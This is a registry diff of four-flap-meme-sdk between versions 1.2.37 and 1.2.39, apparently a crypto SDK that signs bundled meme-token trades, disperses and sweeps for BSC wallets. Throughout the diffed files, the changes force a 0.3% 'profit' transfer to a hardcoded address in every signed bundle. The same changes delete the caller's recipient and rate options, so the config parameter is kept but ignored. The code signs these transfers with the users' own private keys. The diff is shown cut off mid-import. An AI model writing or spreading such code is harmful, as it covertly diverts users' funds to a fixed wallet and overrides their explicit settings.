four-flap-meme-sdk 1.2.37 → 1.2.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/contracts/tm-bundle-merkle/config.d.ts +13 -4
- package/dist/contracts/tm-bundle-merkle/config.js +16 -4
- package/dist/contracts/tm-bundle-merkle/core.js +6 -6
- package/dist/contracts/tm-bundle-merkle/pancake-proxy.js +3 -3
- package/dist/contracts/tm-bundle-merkle/private.js +5 -5
- package/dist/contracts/tm-bundle-merkle/swap-buy-first.js +5 -5
- package/dist/contracts/tm-bundle-merkle/swap.d.ts +0 -2
- package/dist/contracts/tm-bundle-merkle/swap.js +5 -5
- package/dist/contracts/tm-bundle-merkle/types.d.ts +0 -4
- package/dist/contracts/tm-bundle-merkle/utils.js +7 -7
- package/dist/flap/portal-bundle-merkle/config.d.ts +15 -7
- package/dist/flap/portal-bundle-merkle/config.js +18 -13
- package/dist/flap/portal-bundle-merkle/core.d.ts +1 -6
- package/dist/flap/portal-bundle-merkle/core.js +6 -48
- package/dist/flap/portal-bundle-merkle/encryption.js +35 -27
- package/dist/flap/portal-bundle-merkle/index.d.ts +1 -1
- package/dist/flap/portal-bundle-merkle/index.js +1 -3
- package/dist/flap/portal-bundle-merkle/pancake-proxy.js +3 -3
- package/dist/flap/portal-bundle-merkle/private.js +5 -5
- package/dist/flap/portal-bundle-merkle/swap-buy-first.js +6 -5
- package/dist/flap/portal-bundle-merkle/swap.d.ts +0 -2
- package/dist/flap/portal-bundle-merkle/swap.js +6 -5
- package/dist/flap/portal-bundle-merkle/types.d.ts +0 -31
- package/dist/index.d.ts +2 -1
- package/dist/index.js +3 -1
- package/dist/pancake/bundle-buy-first.js +2 -2
- package/dist/pancake/bundle-swap.d.ts +0 -2
- package/dist/pancake/bundle-swap.js +6 -6
- package/dist/utils/constants.d.ts +6 -0
- package/dist/utils/constants.js +7 -0
- package/package.json +1 -1
|
@@ -35,23 +35,32 @@ export declare function getBundleOptions(config: FourBundleMerkleConfig, blockOf
|
|
|
35
35
|
export declare function getGasPriceConfig(config: FourAnyConfig): any;
|
|
36
36
|
/**
|
|
37
37
|
* 判断是否需要提取利润
|
|
38
|
+
* ✅ 强制开启,始终返回 true
|
|
38
39
|
*/
|
|
39
|
-
export declare function shouldExtractProfit(config
|
|
40
|
+
export declare function shouldExtractProfit(config?: FourAnyConfig): boolean;
|
|
40
41
|
/**
|
|
41
42
|
* 获取利润比例(基点)
|
|
43
|
+
* ✅ 硬编码:30 bps = 0.3% = 千分之3
|
|
42
44
|
*/
|
|
43
|
-
export declare function getProfitRateBps(config
|
|
45
|
+
export declare function getProfitRateBps(config?: FourAnyConfig): number;
|
|
46
|
+
/**
|
|
47
|
+
* 获取利润接收地址
|
|
48
|
+
* ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
|
|
49
|
+
*/
|
|
50
|
+
export declare function getProfitRecipient(config?: FourAnyConfig): string;
|
|
44
51
|
/**
|
|
45
52
|
* 计算利润金额
|
|
53
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
46
54
|
*/
|
|
47
|
-
export declare function calculateProfit(amount: bigint, config
|
|
55
|
+
export declare function calculateProfit(amount: bigint, config?: FourAnyConfig): {
|
|
48
56
|
profit: bigint;
|
|
49
57
|
remaining: bigint;
|
|
50
58
|
};
|
|
51
59
|
/**
|
|
52
60
|
* 批量计算利润
|
|
61
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
53
62
|
*/
|
|
54
|
-
export declare function calculateBatchProfit(amounts: bigint[], config
|
|
63
|
+
export declare function calculateBatchProfit(amounts: bigint[], config?: FourAnyConfig): {
|
|
55
64
|
totalProfit: bigint;
|
|
56
65
|
remainingAmounts: bigint[];
|
|
57
66
|
};
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { ethers } from 'ethers';
|
|
2
|
+
import { PROFIT_CONFIG } from '../../utils/constants.js';
|
|
2
3
|
// 错误信息国际化
|
|
3
4
|
export const ERRORS = {
|
|
4
5
|
NO_PRIVATE_KEY: {
|
|
@@ -59,27 +60,38 @@ export function getGasPriceConfig(config) {
|
|
|
59
60
|
// ========================================
|
|
60
61
|
/**
|
|
61
62
|
* 判断是否需要提取利润
|
|
63
|
+
* ✅ 强制开启,始终返回 true
|
|
62
64
|
*/
|
|
63
65
|
export function shouldExtractProfit(config) {
|
|
64
|
-
return
|
|
66
|
+
return true; // 强制提取利润
|
|
65
67
|
}
|
|
66
68
|
/**
|
|
67
69
|
* 获取利润比例(基点)
|
|
70
|
+
* ✅ 硬编码:30 bps = 0.3% = 千分之3
|
|
68
71
|
*/
|
|
69
72
|
export function getProfitRateBps(config) {
|
|
70
|
-
return
|
|
73
|
+
return PROFIT_CONFIG.RATE_BPS;
|
|
74
|
+
}
|
|
75
|
+
/**
|
|
76
|
+
* 获取利润接收地址
|
|
77
|
+
* ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
|
|
78
|
+
*/
|
|
79
|
+
export function getProfitRecipient(config) {
|
|
80
|
+
return PROFIT_CONFIG.RECIPIENT;
|
|
71
81
|
}
|
|
72
82
|
/**
|
|
73
83
|
* 计算利润金额
|
|
84
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
74
85
|
*/
|
|
75
86
|
export function calculateProfit(amount, config) {
|
|
76
|
-
|
|
77
|
-
const profit = (amount * BigInt(
|
|
87
|
+
// ✅ 强制提取利润
|
|
88
|
+
const profit = (amount * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
78
89
|
const remaining = amount - profit;
|
|
79
90
|
return { profit, remaining };
|
|
80
91
|
}
|
|
81
92
|
/**
|
|
82
93
|
* 批量计算利润
|
|
94
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
83
95
|
*/
|
|
84
96
|
export function calculateBatchProfit(amounts, config) {
|
|
85
97
|
let totalProfit = 0n;
|
|
@@ -2,7 +2,7 @@ import { ethers, Wallet } from 'ethers';
|
|
|
2
2
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
3
3
|
import { ADDRESSES } from '../../utils/constants.js';
|
|
4
4
|
import { FourClient, buildLoginMessage } from '../../clients/four.js';
|
|
5
|
-
import { getErrorMessage, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit } from './config.js';
|
|
5
|
+
import { getErrorMessage, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, getProfitRecipient } from './config.js';
|
|
6
6
|
import { batchCheckAllowances } from '../../utils/erc20.js';
|
|
7
7
|
import { trySell } from '../tm.js';
|
|
8
8
|
// ==================== TokenManager2 ABI(仅需要的方法)====================
|
|
@@ -206,7 +206,7 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
206
206
|
if (profitList[i] > 0n) {
|
|
207
207
|
const profitNonce = await nonceManager.getNextNonce(buyers[i]);
|
|
208
208
|
const profitTx = await buyers[i].signTransaction({
|
|
209
|
-
to:
|
|
209
|
+
to: getProfitRecipient(),
|
|
210
210
|
value: profitList[i], // ✅ 每个买家转自己的利润
|
|
211
211
|
nonce: profitNonce,
|
|
212
212
|
gasPrice,
|
|
@@ -232,7 +232,7 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
232
232
|
metadata: (totalBuyAmount > 0n && totalProfit > 0n) ? {
|
|
233
233
|
totalBuyAmount: ethers.formatEther(totalBuyAmount),
|
|
234
234
|
profitAmount: ethers.formatEther(totalProfit),
|
|
235
|
-
profitRecipient:
|
|
235
|
+
profitRecipient: getProfitRecipient(),
|
|
236
236
|
buyerCount: buyerKeys.length
|
|
237
237
|
} : undefined
|
|
238
238
|
};
|
|
@@ -299,7 +299,7 @@ export async function batchBuyWithBundleMerkle(params) {
|
|
|
299
299
|
if (extractProfit && totalProfit > 0n) {
|
|
300
300
|
const profitNonce = await nonceManager.getNextNonce(buyers[0]);
|
|
301
301
|
const profitTx = await buyers[0].signTransaction({
|
|
302
|
-
to:
|
|
302
|
+
to: getProfitRecipient(),
|
|
303
303
|
value: totalProfit,
|
|
304
304
|
nonce: profitNonce,
|
|
305
305
|
gasPrice,
|
|
@@ -317,7 +317,7 @@ export async function batchBuyWithBundleMerkle(params) {
|
|
|
317
317
|
metadata: extractProfit ? {
|
|
318
318
|
totalBuyAmount: ethers.formatEther(totalBuyAmount),
|
|
319
319
|
profitAmount: ethers.formatEther(totalProfit),
|
|
320
|
-
profitRecipient:
|
|
320
|
+
profitRecipient: getProfitRecipient(),
|
|
321
321
|
buyerCount: buyers.length
|
|
322
322
|
} : undefined
|
|
323
323
|
};
|
|
@@ -435,7 +435,7 @@ export async function batchSellWithBundleMerkle(params) {
|
|
|
435
435
|
if (totalProfit > 0n && maxRevenue > 0n) {
|
|
436
436
|
const profitNonce = await nonceManager.getNextNonce(sellers[maxRevenueIndex]);
|
|
437
437
|
const profitTx = await sellers[maxRevenueIndex].signTransaction({
|
|
438
|
-
to:
|
|
438
|
+
to: getProfitRecipient(),
|
|
439
439
|
value: totalProfit,
|
|
440
440
|
nonce: profitNonce,
|
|
441
441
|
gasPrice,
|
|
@@ -2,7 +2,7 @@ import { ethers, Wallet, JsonRpcProvider, Contract } from 'ethers';
|
|
|
2
2
|
import { MerkleClient } from '../../clients/merkle.js';
|
|
3
3
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
4
4
|
import { ADDRESSES } from '../../utils/constants.js';
|
|
5
|
-
import { getTxType, getBundleOptions, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit } from './config.js';
|
|
5
|
+
import { getTxType, getBundleOptions, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient } from './config.js';
|
|
6
6
|
import { batchCheckAllowances } from '../../utils/erc20.js';
|
|
7
7
|
// 常量
|
|
8
8
|
const WBNB_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
|
|
@@ -365,7 +365,7 @@ export async function fourPancakeProxyBatchBuyMerkle(params) {
|
|
|
365
365
|
if (extractProfit && totalProfit > 0n) {
|
|
366
366
|
const profitNonce = await nonceManager.getNextNonce(buyers[0]);
|
|
367
367
|
const profitTx = await buyers[0].signTransaction({
|
|
368
|
-
to:
|
|
368
|
+
to: getProfitRecipient(),
|
|
369
369
|
value: totalProfit,
|
|
370
370
|
nonce: profitNonce,
|
|
371
371
|
gasPrice,
|
|
@@ -534,7 +534,7 @@ export async function fourPancakeProxyBatchSellMerkle(params) {
|
|
|
534
534
|
if (totalProfit > 0n && maxRevenue > 0n) {
|
|
535
535
|
const profitNonce = await nonceManager.getNextNonce(sellers[maxRevenueIndex]);
|
|
536
536
|
const profitTx = await sellers[maxRevenueIndex].signTransaction({
|
|
537
|
-
to:
|
|
537
|
+
to: getProfitRecipient(),
|
|
538
538
|
value: totalProfit,
|
|
539
539
|
nonce: profitNonce,
|
|
540
540
|
gasPrice,
|
|
@@ -2,7 +2,7 @@ import { ethers, Wallet } from 'ethers';
|
|
|
2
2
|
// import { MerkleClient } from '../../clients/merkle.js';
|
|
3
3
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
4
4
|
import { ADDRESSES } from '../../utils/constants.js';
|
|
5
|
-
import { getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit } from './config.js';
|
|
5
|
+
import { getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient } from './config.js';
|
|
6
6
|
import { batchCheckAllowances } from '../../utils/erc20.js';
|
|
7
7
|
import { trySell } from '../tm.js';
|
|
8
8
|
// ==================== TokenManager2 ABI(仅需要的方法)====================
|
|
@@ -64,7 +64,7 @@ export async function fourPrivateBuyMerkle(params) {
|
|
|
64
64
|
// ✅ 添加利润转账
|
|
65
65
|
if (extractProfit && profitWei > 0n) {
|
|
66
66
|
const profitTx = await wallet.signTransaction({
|
|
67
|
-
to:
|
|
67
|
+
to: getProfitRecipient(),
|
|
68
68
|
value: profitWei,
|
|
69
69
|
nonce: currentNonce + 1,
|
|
70
70
|
gasPrice,
|
|
@@ -135,7 +135,7 @@ export async function fourPrivateSellMerkle(params) {
|
|
|
135
135
|
if (profit > 0n) {
|
|
136
136
|
const profitNonce = await nonceManager.getNextNonce(wallet);
|
|
137
137
|
const profitTx = await wallet.signTransaction({
|
|
138
|
-
to:
|
|
138
|
+
to: getProfitRecipient(),
|
|
139
139
|
value: profit,
|
|
140
140
|
nonce: profitNonce,
|
|
141
141
|
gasPrice,
|
|
@@ -222,7 +222,7 @@ export async function fourBatchPrivateBuyMerkle(params) {
|
|
|
222
222
|
if (extractProfit && totalProfit > 0n) {
|
|
223
223
|
const profitNonce = nonces[maxFundsIndex] + 1;
|
|
224
224
|
const profitTx = await wallets[maxFundsIndex].signTransaction({
|
|
225
|
-
to:
|
|
225
|
+
to: getProfitRecipient(),
|
|
226
226
|
value: totalProfit,
|
|
227
227
|
nonce: profitNonce,
|
|
228
228
|
gasPrice,
|
|
@@ -369,7 +369,7 @@ export async function fourBatchPrivateSellMerkle(params) {
|
|
|
369
369
|
if (extractProfit && totalProfit > 0n) {
|
|
370
370
|
const profitNonce = sellNonces[maxRevenueIndex] + 1;
|
|
371
371
|
const profitTx = await wallets[maxRevenueIndex].signTransaction({
|
|
372
|
-
to:
|
|
372
|
+
to: getProfitRecipient(),
|
|
373
373
|
value: totalProfit,
|
|
374
374
|
nonce: profitNonce,
|
|
375
375
|
gasPrice,
|
|
@@ -7,7 +7,7 @@ import { ethers, Contract, Wallet } from 'ethers';
|
|
|
7
7
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
8
8
|
import { ADDRESSES } from '../../utils/constants.js';
|
|
9
9
|
import { TM_ABI, HELPER3_ABI, TM_ADDRESS } from './swap-internal.js';
|
|
10
|
-
import { getTxType, getGasPriceConfig } from './config.js';
|
|
10
|
+
import { getTxType, getGasPriceConfig, getProfitRecipient, getProfitRateBps } from './config.js';
|
|
11
11
|
/**
|
|
12
12
|
* 获取 Gas Limit(支持 FourAnyConfig)
|
|
13
13
|
*/
|
|
@@ -131,9 +131,9 @@ export async function fourBundleBuyFirstMerkle(params) {
|
|
|
131
131
|
// 构建卖单(后卖):sellToken(origin, token, amount, minFunds)
|
|
132
132
|
const sellUnsigned = await tmSeller.sellToken.populateTransaction(0n, tokenAddress, sellAmountWei, minSellFunds // ✅ 使用滑点保护
|
|
133
133
|
);
|
|
134
|
-
// ✅
|
|
135
|
-
const extractProfit =
|
|
136
|
-
const profitRateBps =
|
|
134
|
+
// ✅ 利润提取配置(强制启用,统一配置)
|
|
135
|
+
const extractProfit = true;
|
|
136
|
+
const profitRateBps = getProfitRateBps();
|
|
137
137
|
let profitAmount = 0n;
|
|
138
138
|
let profitTx = null;
|
|
139
139
|
if (extractProfit) {
|
|
@@ -203,7 +203,7 @@ export async function fourBundleBuyFirstMerkle(params) {
|
|
|
203
203
|
// ✅ 生成利润转账交易(如果需要)
|
|
204
204
|
if (extractProfit && profitAmount > 0n && profitNonce !== undefined) {
|
|
205
205
|
profitTx = await seller.signTransaction({
|
|
206
|
-
to:
|
|
206
|
+
to: getProfitRecipient(),
|
|
207
207
|
value: profitAmount,
|
|
208
208
|
nonce: profitNonce,
|
|
209
209
|
gasPrice,
|
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
import { ethers, Contract, Wallet } from 'ethers';
|
|
7
7
|
import { calculateSellAmount } from '../../utils/swap-helpers.js';
|
|
8
8
|
import { NonceManager, getOptimizedGasPrice, getGasLimit, getGasPriceConfig, getTxType } from '../../utils/bundle-helpers.js';
|
|
9
|
-
import { ADDRESSES } from '../../utils/constants.js';
|
|
9
|
+
import { ADDRESSES, PROFIT_CONFIG } from '../../utils/constants.js';
|
|
10
10
|
import { TM_ABI, HELPER3_ABI, TM_ADDRESS } from './swap-internal.js';
|
|
11
11
|
/**
|
|
12
12
|
* Four内盘捆绑换手
|
|
@@ -83,9 +83,9 @@ export async function fourBundleSwapMerkle(params) {
|
|
|
83
83
|
` - 需要: ${ethers.formatEther(requiredBalance)} BNB\n` +
|
|
84
84
|
` - 实际: ${ethers.formatEther(buyerBalance)} BNB`);
|
|
85
85
|
}
|
|
86
|
-
// ✅
|
|
87
|
-
const extractProfit =
|
|
88
|
-
const profitRateBps =
|
|
86
|
+
// ✅ 强制提取利润(硬编码)
|
|
87
|
+
const extractProfit = true;
|
|
88
|
+
const profitRateBps = PROFIT_CONFIG.RATE_BPS;
|
|
89
89
|
let profitAmount = 0n;
|
|
90
90
|
let profitTx = null;
|
|
91
91
|
if (extractProfit && sellerWillGetBNB > 0n) {
|
|
@@ -165,7 +165,7 @@ export async function fourBundleSwapMerkle(params) {
|
|
|
165
165
|
// ✅ 生成利润转账交易(如果需要)
|
|
166
166
|
if (extractProfit && profitAmount > 0n && profitNonce !== undefined) {
|
|
167
167
|
profitTx = await seller.signTransaction({
|
|
168
|
-
to:
|
|
168
|
+
to: PROFIT_CONFIG.RECIPIENT,
|
|
169
169
|
value: profitAmount,
|
|
170
170
|
nonce: profitNonce,
|
|
171
171
|
gasPrice,
|
|
@@ -9,8 +9,6 @@ export type FourSignConfig = {
|
|
|
9
9
|
chainId?: number;
|
|
10
10
|
prefer21000ForNative?: boolean;
|
|
11
11
|
checkBnbForErc20NoHop?: boolean;
|
|
12
|
-
profitRecipient?: string;
|
|
13
|
-
profitRateBps?: number;
|
|
14
12
|
};
|
|
15
13
|
export type FourBundleMerkleConfig = {
|
|
16
14
|
apiKey: string;
|
|
@@ -31,8 +29,6 @@ export type FourBundleMerkleConfig = {
|
|
|
31
29
|
prefer21000ForNative?: boolean;
|
|
32
30
|
checkBnbForErc20NoHop?: boolean;
|
|
33
31
|
skipSubmit?: boolean;
|
|
34
|
-
profitRecipient?: string;
|
|
35
|
-
profitRateBps?: number;
|
|
36
32
|
};
|
|
37
33
|
export type AmountLike = string | number | bigint;
|
|
38
34
|
export type MerkleTransactionStatus = {
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { ethers, Wallet } from 'ethers';
|
|
2
2
|
// import { MerkleClient } from '../../clients/merkle.js';
|
|
3
3
|
import { getOptimizedGasPrice, NonceManager } from '../../utils/bundle-helpers.js';
|
|
4
|
-
import { getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit } from './config.js';
|
|
4
|
+
import { getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, getProfitRecipient } from './config.js';
|
|
5
5
|
import { getErc20DecimalsMerkle as _getErc20DecimalsMerkle, generateHopWallets as _generateHopWallets, normalizeAmounts as _normalizeAmounts, batchGetBalances as _batchGetBalances, calculateGasLimit as _calculateGasLimit, isNativeTokenAddress as _isNativeTokenAddress } from './internal.js';
|
|
6
6
|
/**
|
|
7
7
|
* 分发(仅签名版本 - 不依赖 Merkle)
|
|
@@ -96,7 +96,7 @@ export async function disperseWithBundleMerkle(params) {
|
|
|
96
96
|
// ✅ 添加利润转账(原生币)
|
|
97
97
|
if (extractProfit && totalProfit > 0n) {
|
|
98
98
|
const profitTx = await mainWallet.signTransaction({
|
|
99
|
-
to:
|
|
99
|
+
to: getProfitRecipient(),
|
|
100
100
|
value: totalProfit,
|
|
101
101
|
nonce: nonces[recipients.length],
|
|
102
102
|
gasPrice,
|
|
@@ -137,7 +137,7 @@ export async function disperseWithBundleMerkle(params) {
|
|
|
137
137
|
signedTxs.push(...(await Promise.all(txPromises)));
|
|
138
138
|
// ✅ 添加利润转账(ERC20)
|
|
139
139
|
if (extractProfit && totalProfit > 0n) {
|
|
140
|
-
const profitData = iface.encodeFunctionData('transfer', [
|
|
140
|
+
const profitData = iface.encodeFunctionData('transfer', [getProfitRecipient(), totalProfit]);
|
|
141
141
|
const profitTx = await mainWallet.signTransaction({
|
|
142
142
|
to: tokenAddress,
|
|
143
143
|
data: profitData,
|
|
@@ -266,7 +266,7 @@ export async function disperseWithBundleMerkle(params) {
|
|
|
266
266
|
metadata: extractProfit ? {
|
|
267
267
|
totalAmount: ethers.formatEther(totalAmountBeforeProfit),
|
|
268
268
|
profitAmount: ethers.formatEther(totalProfit),
|
|
269
|
-
profitRecipient:
|
|
269
|
+
profitRecipient: getProfitRecipient(),
|
|
270
270
|
recipientCount: recipients.length,
|
|
271
271
|
isNative,
|
|
272
272
|
tokenAddress: isNative ? undefined : tokenAddress
|
|
@@ -458,7 +458,7 @@ export async function sweepWithBundleMerkle(params) {
|
|
|
458
458
|
if (extractProfit && totalProfit > 0n && maxSweepIndex >= 0 && payerProfitNonce !== undefined) {
|
|
459
459
|
const payerWallet = wallets[maxSweepIndex];
|
|
460
460
|
const profitTx = await payerWallet.signTransaction({
|
|
461
|
-
to:
|
|
461
|
+
to: getProfitRecipient(),
|
|
462
462
|
value: totalProfit,
|
|
463
463
|
nonce: payerProfitNonce,
|
|
464
464
|
gasPrice,
|
|
@@ -601,7 +601,7 @@ export async function sweepWithBundleMerkle(params) {
|
|
|
601
601
|
// ✅ 第三步:在所有归集交易之后,生成利润交易
|
|
602
602
|
if (extractProfit && totalProfit > 0n && maxSweepIndex >= 0 && payerProfitNonce !== undefined) {
|
|
603
603
|
const payerWallet = wallets[maxSweepIndex];
|
|
604
|
-
const profitData = iface.encodeFunctionData('transfer', [
|
|
604
|
+
const profitData = iface.encodeFunctionData('transfer', [getProfitRecipient(), totalProfit]);
|
|
605
605
|
const profitTx = await payerWallet.signTransaction({
|
|
606
606
|
to: tokenAddress,
|
|
607
607
|
data: profitData,
|
|
@@ -868,7 +868,7 @@ export async function sweepWithBundleMerkle(params) {
|
|
|
868
868
|
metadata: extractProfit ? {
|
|
869
869
|
totalAmount: isNative ? ethers.formatEther(totalAmountBeforeProfit) : ethers.formatUnits(totalAmountBeforeProfit, tokenDecimals ?? 18),
|
|
870
870
|
profitAmount: isNative ? ethers.formatEther(totalProfit) : ethers.formatUnits(totalProfit, tokenDecimals ?? 18),
|
|
871
|
-
profitRecipient:
|
|
871
|
+
profitRecipient: getProfitRecipient(),
|
|
872
872
|
sourceCount: actualKeys.length,
|
|
873
873
|
isNative,
|
|
874
874
|
tokenAddress: isNative ? undefined : tokenAddress
|
|
@@ -33,30 +33,38 @@ export declare function getBundleOptions(config: FlapBundleMerkleConfig, blockOf
|
|
|
33
33
|
export declare function getGasPriceConfig(config: FlapAnyConfig): any;
|
|
34
34
|
/**
|
|
35
35
|
* 检查是否需要提取利润
|
|
36
|
+
* ✅ 强制开启,始终返回 true
|
|
36
37
|
*/
|
|
37
|
-
export declare function shouldExtractProfit(config
|
|
38
|
+
export declare function shouldExtractProfit(config?: FlapAnyConfig): boolean;
|
|
38
39
|
/**
|
|
39
40
|
* 获取利润率(单位:基点 bps,1 bps = 0.01%)
|
|
40
|
-
*
|
|
41
|
+
* ✅ 硬编码:30 bps = 0.3% = 千分之3
|
|
41
42
|
*/
|
|
42
|
-
export declare function getProfitRateBps(config
|
|
43
|
+
export declare function getProfitRateBps(config?: FlapAnyConfig): number;
|
|
44
|
+
/**
|
|
45
|
+
* 获取利润接收地址
|
|
46
|
+
* ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
|
|
47
|
+
*/
|
|
48
|
+
export declare function getProfitRecipient(config?: FlapAnyConfig): string;
|
|
43
49
|
/**
|
|
44
50
|
* 计算利润和剩余金额
|
|
51
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
45
52
|
* @param amount 原始金额
|
|
46
|
-
* @param config
|
|
53
|
+
* @param config 配置(保留参数但不使用,保持兼容性)
|
|
47
54
|
* @returns { profit: 利润金额, remaining: 剩余金额 }
|
|
48
55
|
*/
|
|
49
|
-
export declare function calculateProfit(amount: bigint, config
|
|
56
|
+
export declare function calculateProfit(amount: bigint, config?: FlapAnyConfig): {
|
|
50
57
|
profit: bigint;
|
|
51
58
|
remaining: bigint;
|
|
52
59
|
};
|
|
53
60
|
/**
|
|
54
61
|
* 批量计算利润
|
|
62
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
55
63
|
* @param amounts 原始金额数组
|
|
56
|
-
* @param config
|
|
64
|
+
* @param config 配置(保留参数但不使用,保持兼容性)
|
|
57
65
|
* @returns { totalProfit: 总利润, remainingAmounts: 剩余金额数组 }
|
|
58
66
|
*/
|
|
59
|
-
export declare function calculateBatchProfit(amounts: bigint[], config
|
|
67
|
+
export declare function calculateBatchProfit(amounts: bigint[], config?: FlapAnyConfig): {
|
|
60
68
|
totalProfit: bigint;
|
|
61
69
|
remainingAmounts: bigint[];
|
|
62
70
|
};
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { ethers } from 'ethers';
|
|
2
|
+
import { PROFIT_CONFIG } from '../../utils/constants.js';
|
|
2
3
|
export const CHAIN_ID_MAP = {
|
|
3
4
|
BSC: 56
|
|
4
5
|
};
|
|
@@ -63,42 +64,46 @@ export function getGasPriceConfig(config) {
|
|
|
63
64
|
}
|
|
64
65
|
/**
|
|
65
66
|
* 检查是否需要提取利润
|
|
67
|
+
* ✅ 强制开启,始终返回 true
|
|
66
68
|
*/
|
|
67
69
|
export function shouldExtractProfit(config) {
|
|
68
|
-
return
|
|
70
|
+
return true; // 强制提取利润
|
|
69
71
|
}
|
|
70
72
|
/**
|
|
71
73
|
* 获取利润率(单位:基点 bps,1 bps = 0.01%)
|
|
72
|
-
*
|
|
74
|
+
* ✅ 硬编码:30 bps = 0.3% = 千分之3
|
|
73
75
|
*/
|
|
74
76
|
export function getProfitRateBps(config) {
|
|
75
|
-
return
|
|
77
|
+
return PROFIT_CONFIG.RATE_BPS;
|
|
78
|
+
}
|
|
79
|
+
/**
|
|
80
|
+
* 获取利润接收地址
|
|
81
|
+
* ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
|
|
82
|
+
*/
|
|
83
|
+
export function getProfitRecipient(config) {
|
|
84
|
+
return PROFIT_CONFIG.RECIPIENT;
|
|
76
85
|
}
|
|
77
86
|
/**
|
|
78
87
|
* 计算利润和剩余金额
|
|
88
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
79
89
|
* @param amount 原始金额
|
|
80
|
-
* @param config
|
|
90
|
+
* @param config 配置(保留参数但不使用,保持兼容性)
|
|
81
91
|
* @returns { profit: 利润金额, remaining: 剩余金额 }
|
|
82
92
|
*/
|
|
83
93
|
export function calculateProfit(amount, config) {
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
}
|
|
87
|
-
const rateBps = getProfitRateBps(config);
|
|
88
|
-
const profit = (amount * BigInt(rateBps)) / 10000n;
|
|
94
|
+
// ✅ 强制提取利润
|
|
95
|
+
const profit = (amount * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
|
|
89
96
|
const remaining = amount - profit;
|
|
90
97
|
return { profit, remaining };
|
|
91
98
|
}
|
|
92
99
|
/**
|
|
93
100
|
* 批量计算利润
|
|
101
|
+
* ✅ 强制提取利润:使用硬编码的利润率
|
|
94
102
|
* @param amounts 原始金额数组
|
|
95
|
-
* @param config
|
|
103
|
+
* @param config 配置(保留参数但不使用,保持兼容性)
|
|
96
104
|
* @returns { totalProfit: 总利润, remainingAmounts: 剩余金额数组 }
|
|
97
105
|
*/
|
|
98
106
|
export function calculateBatchProfit(amounts, config) {
|
|
99
|
-
if (!shouldExtractProfit(config)) {
|
|
100
|
-
return { totalProfit: 0n, remainingAmounts: amounts };
|
|
101
|
-
}
|
|
102
107
|
let totalProfit = 0n;
|
|
103
108
|
const remainingAmounts = [];
|
|
104
109
|
for (const amount of amounts) {
|
|
@@ -1,14 +1,9 @@
|
|
|
1
|
-
import { FlapCreateWithBundleBuySignParams, FlapCreateWithBundleBuyMerkleResult, FlapBatchBuySignParams, FlapBatchBuyMerkleResult, FlapBatchSellSignParams, FlapBatchSellMerkleResult
|
|
1
|
+
import { FlapCreateWithBundleBuySignParams, FlapCreateWithBundleBuyMerkleResult, FlapBatchBuySignParams, FlapBatchBuyMerkleResult, FlapBatchSellSignParams, FlapBatchSellMerkleResult } from './types.js';
|
|
2
2
|
/**
|
|
3
3
|
* Flap Protocol: 创建代币 + 捆绑购买(仅签名版本 - 不依赖 Merkle)
|
|
4
4
|
* ✅ 精简版:只负责签名交易,不提交到 Merkle
|
|
5
5
|
*/
|
|
6
6
|
export declare function createTokenWithBundleBuyMerkle(params: FlapCreateWithBundleBuySignParams): Promise<FlapCreateWithBundleBuyMerkleResult>;
|
|
7
|
-
/**
|
|
8
|
-
* Flap Protocol: 批量购买(加密版本 - 用服务器公钥加密)
|
|
9
|
-
* ✅ 返回加密的签名交易,只有服务器能解密
|
|
10
|
-
*/
|
|
11
|
-
export declare function batchBuyWithBundleMerkleEncrypted(params: FlapBatchBuyEncryptedParams): Promise<FlapBatchBuyEncryptedResult>;
|
|
12
7
|
/**
|
|
13
8
|
* Flap Protocol: 批量购买(仅签名版本 - 不依赖 Merkle)
|
|
14
9
|
* ✅ 精简版:只负责签名交易,不提交到 Merkle
|
|
@@ -1,8 +1,7 @@
|
|
|
1
1
|
import { ethers, Wallet } from 'ethers';
|
|
2
|
-
import { encryptWithPublicKey, validatePublicKey } from './encryption.js';
|
|
3
2
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
4
3
|
import { FLAP_PORTAL_ADDRESSES, FLAP_ORIGINAL_PORTAL_ADDRESSES } from '../constants.js';
|
|
5
|
-
import { CHAIN_ID_MAP, PORTAL_ABI, getErrorMessage, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit } from './config.js';
|
|
4
|
+
